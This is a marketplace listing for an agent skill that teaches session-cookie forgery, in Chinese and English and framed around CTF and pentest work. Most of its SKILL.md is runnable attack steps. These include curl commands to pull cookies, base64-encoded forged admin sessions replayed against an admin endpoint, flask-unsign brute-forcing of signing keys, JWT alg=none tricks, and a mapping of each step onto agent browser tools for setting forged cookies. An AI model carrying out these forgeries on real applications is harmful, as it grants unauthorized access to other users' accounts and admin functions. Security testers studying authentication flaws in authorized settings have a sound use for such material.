haibo3434358/scareaisec/cookie-analysis

Claude Code and agent skill by haibo3434358/scareaisec

Trust tier 2
  • community
LLM review pending
Source check pending

Checking that the SKILL.md file is still in the repository.

Session cookie 分析与伪造方法论。当发现 Web 应用使用 cookie 进行认证、需要判断 cookie 类型并选择伪造方法时使用。覆盖 unsigned base64 cookie 直接伪造、Flask 签名 cookie(flask-unsign 爆破密钥)、加密/二进制 cookie 的识别。本技能负责 cookie 类型判断和分流:如果判断为 JWT(三段式 eyJ 开头),应转至 jwt-attack-methodology;如果判断为加密 cookie 需要 Padding Oracle,应转至 crypto-web-attack

Install

npx vskill@latest install haibo3434358/scareaisec/cookie-analysis

SKILL.md

Cookie Analysis & Forgery Methodology

0. 立即执行摘要:Cookie 先分型,再测服务端是否信任

看到 Cookie 后不要直接爆破。按下面顺序判断:

  1. 属性风险:检查 HttpOnly、Secure、SameSite、Domain、Path、Expires,判断 XSS/CSRF/子域注入/明文传输风险。
  2. 值结构:识别 JWT、Base64 JSON、Flask/Django/Rails/Express session、加密 blob、随机 session id。
  3. 服务端信任边界:改 user_id/role/is_admin/tenant_id/exp 后必须重放请求,只有服务端接受才算漏洞。
  4. 会话混用:删除单个 Cookie、只保留部分 Cookie、A/B 账号 Cookie 交叉混用,测试是否发生会话固定或权限错配。
  5. Remember-me:长期登录 token、弱随机、可预测、未绑定设备/用户代理时要单独测试。

如果只是能解码 Cookie,但不能证明服务端接受篡改,最多是信息泄露或 suspected,不能判定认证绕过。

🤖 Agent 工具映射

以下 bash/curl 命令仅供理解原理。Agent 应使用对应工具执行:
方法论中的命令Agent 实际工具用法
curl -sI 获取 Set-Cookiebrowser_get_cookies直接获取浏览器所有 Cookie
`echo ... \base64 -d` 解码browser_evaluatebrowser_evaluate("atob('cookie_value')")
flask-unsign --decodebrowser_evaluate手动拆解 . 分隔的 cookie,base64 解码第一段
设置伪造 Cookiebrowser_set_cookiebrowser_set_cookie(name, forged_value, domain)
curl -b 'session=...' 验证proxy_send_request带伪造 Cookie 头请求目标

When to Use

  • You found a session cookie and want to forge it
  • BEFORE running flask-unsign or any brute-force tool
  • When you need to bypass authentication via cookie manipulation

Step 1: Extract the cookie

bash
curl -sI http://TARGET/ | grep -i set-cookie

Step 2: Identify cookie type

Test A: Base64 decode
bash
echo '<cookie_value>' | base64 -d 2>/dev/null
# Also try URL-decoded version:
python3 -c "import base64,urllib.parse; print(base64.b64decode(urllib.parse.unquote('<cookie>')))"

If it decodes to valid JSON → UNSIGNED BASE64 (most common in CTF!)

  • Attack: forge directly — takes 5 seconds
bash
# Forge admin session
echo -n '{"user_id":1}' | base64
# Use as cookie:
curl -b 'session=eyJ1c2VyX2lkIjoxfQ==' http://TARGET/admin/flag
  • Try variations:
bash
echo -n '{"user_id":1}' | base64
echo -n '{"role":"admin"}' | base64
echo -n '{"is_admin":true}' | base64
echo -n '{"user_id":1,"role":"admin"}' | base64
echo -n '{"username":"admin"}' | base64
Test B: Flask itsdangerous signature

If the cookie has a . followed by a signature portion:

bash
# Cookie looks like: eyJ...IjoxfQ.Xk2Ypg.dBV2_DkvOBP3...
flask-unsign --decode --cookie '<cookie>'
# If decode works → Flask signed cookie
flask-unsign --unsign --cookie '<cookie>' --wordlist $ABOUTSECURITY_ROOT/Dic/passwords.txt
Test C: JWT

If the cookie has three base64 parts separated by .:

bash
# Header.Payload.Signature
echo '<first_part>' | base64 -d # Should show {"alg":"...","typ":"JWT"}
# → Use Skill(skill="jwt-attack-methodology")
Test D: Encrypted/Binary

If base64 decode produces garbage → encrypted cookie

  • Need key or padding oracle attack
  • Check source code for encryption key

Step 3: Common bypass patterns

  • If unsigned: forge with user_id=1, role=admin, is_admin=true
  • If Flask-signed: try common keys ('secret', app name, etc.)
  • If JWT with alg=none: remove signature, set alg to "none"
  • If JWT with HS256: try common secrets, check for JWKS endpoint

最低必测自检

标记 not_vuln 前必须确认:

#必测项说明
1已记录所有认证相关 Cookie 的属性HttpOnly/Secure/SameSite/Domain/Path/Expires
2已分型 Cookie 值结构JWT、Base64 JSON、签名 Cookie、随机 session id、加密 blob
3已测试删除单个 Cookie、删除全部 Cookie、只保留某个 Cookie判断是否存在弱鉴权或多 Cookie 混用
4已用 A/B 账号交叉替换 Cookie判断会话固定、权限错配、Remember-me 绑定缺失
5可解码 Cookie 已尝试篡改权限字段并由服务端验证前端解析成功不算服务端接受
6JWT 已转入 jwt-attack-methodologyCookie 中的 JWT 不在本 skill 内重复展开
7加密 Cookie 有异常差异时已转入 crypto-web-attack例如 padding oracle、MAC 校验差异

Critical Reminders

  • NEVER run flask-unsign on unsigned cookies — wastes 25+ minutes and ALWAYS fails
  • Always decode the cookie FIRST to determine its type
  • Base64 JSON cookies are the most common type in CTF challenges
  • Direct forgery takes 5 seconds vs brute-forcing takes 25+ minutes

Security

  • Security scanPassed, 100 of 100Pattern checks on the skill's files.
  • Model reviewNot runA model review is scheduled for the next rescan.

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

Repository stars
61
Repository forks
31
7-day trend score
0

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/haibo3434358/scareaisec/cookie-analysis/badge)](https://verified-skill.com/skills/haibo3434358/scareaisec/cookie-analysis)

Something wrong with this skill or its page? Tell us.